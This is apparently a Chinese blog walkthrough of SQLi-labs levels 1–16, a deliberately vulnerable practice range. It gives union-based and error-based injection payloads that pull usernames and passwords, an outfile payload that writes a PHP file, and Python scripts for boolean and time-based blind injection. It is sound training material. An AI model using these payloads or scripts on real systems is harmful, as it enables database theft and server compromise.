Sqlilabs靶场less1-less16

less1

首先先尝试单引号闭合

发现有报错,应该有注入点

可以继续用1=1试试

?id=1'and 1=1 --+

回显正常,可以猜字段了

?id=1'order by 4--+

3回显正常,4报错,直接联合查询

?id=1'union select 1,2,3--+

回显正常,应该是id=1正常回显了,payload并没有回显,只要让前面的不回显就好了,改为id=-1

?id=-1'union select 1,2,3--+

发现回显位,直接爆库名

?id=-1'union select 1,user(),database()--+

通过mysql默认库爆表名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';-- +

爆数据

?id=-1' union select 1,2,group_concat(username ,0x7e, password) from users--+

less2

这关是数字型注入单引号都不用闭合

[<http://192.168.88.135/sqllab/sqlmaster/Less-2/?id=1>](<http://192.168.88.135/sqllab/sqlmaster/Less-3/?id=1>) and 1=2--+

剩余解法与第一关相同

less3

这一关在闭合语句的时候用到了括号

<http://192.168.88.135/sqllab/sqlmaster/Less-3/?id=1>')and 1=2--+

剩余解法与第一关相同

less4

这关使用了双引号加括号用来闭合语句

<http://192.168.88.135/sqllab/sqlmaster/Less-4/?id=1>") and 1=2--+

less5

这里报错并没有回显

http://192.168.88.135/sqllab/sqlmaster/Less-5/?id=1'and 1=2--+

可以尝试报错注入

http://192.168.88.135/sqllab/sqlmaster/Less-5/?id=-1'union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+

less6

双引号闭合,和less5一样,报错注入

[<http://192.168.88.135/sqllab/sqlmaster/Less-5/?id=-1>"union](<http://192.168.88.135/sqllab/sqlmaster/Less-5/?id=-1%27union>) select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+

less7

双引号闭合,根据提示要用到outfile,基本上实战无法完成,原因有三:

  1. outfile的作用为导出,依靠这个参数,但这个参数为none不让你导出,除非对方项目有需求进行过更改不然此漏洞无法生效,还有一个重要的点,我们压根不知道对方的网站物理路径
  2. secure_file_priv=必须为空ini文件
  3. 修改ini文件就要root权限,有root权限我们为什么还要破漏洞?
?id=-1')) union select 1,2,'<?php phpinfo();?>' into outfile "E:\\\\PHP\\\\phpan\\\\phpstudy_pro\\\\Extensions\\\\MySQL5.5.29"--+

less8

但是和上一关一样,没有回显,尝试报错注入还是没有回显,应该是函数被过滤

语句正确是ur in ……,语句不正确没有回显,考虑布尔盲注

我们知道s的ASCII值为115,那我们就可以输入判断真假

<http://192.168.88.135/sqllab/sqlmaster/Less-8/?id=1>' and ascii(substr(database(),1,1))>100--+

那我们就可以一点一点去猜,从第一个字段往后,但是耗时耗力 ,于是用python写个脚本


import requests
import time
 
def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and ascii(substr(database(),%d,1))> %d-- " % (i, mid)
            params = {"id":payload}
            r = requests.get(url, params=params)
            if 'You are in...........' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)    
        print(name)
 
if __name__ == "__main__":
    url = '<http://192.168.88.135/sqllab/sqlmaster/Less-8/index.php>'
    inject_database(url)
 

爆出数据库名

less9

和less8一样,但是对错都没有区别了,可以试试时间盲注,利用python脚本

import requests
import time
def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and if(ascii(substr(database(),%d,1))>%d, sleep(2), 0)-- " % (i, mid)
            params = {"id":payload}
            start_time = time.time()
            r = requests.get(url, params=params)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
 
if __name__ == "__main__":
    url = 'http://127.0.0.1/sqli/Less-9/index.php'
    inject_database(url)

less10

和第九关一样,只不过闭合变成双引号了

less11

提交方式变了,变为post提交,步骤与第一关相同

less12

闭合方式变为括号,和上一关没区别

less13

闭合方式变为单引号加括号,和上一关没区别

less14

闭合方式变为双音号,和上一关没区别

less15

没有回显数据,报错注入也不行,考虑盲注

成功的语句

admin1*' and ascii(substr(database(),1,1))>100#*

失败的语句

admin1*' and ascii(substr(database(),1,1))>120#*

利用脚本

import requests
import time
def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            data = {
                "uname" : "admin1' and ascii(substr(database(),%d,1))>%d#" % (i, mid),
                "passwd" : 'aaaaaaa'
            }
            r = requests.post(url, data=data)
            if 'flag.jpg' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
 
if __name__ == "__main__":
    url = 'http://192.168.88.135/sqllab/sqlmaster/Less-15//index.php'
    inject_database(url)

less16

闭合方式改变,变为”),其余和less15一样

  • 10
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值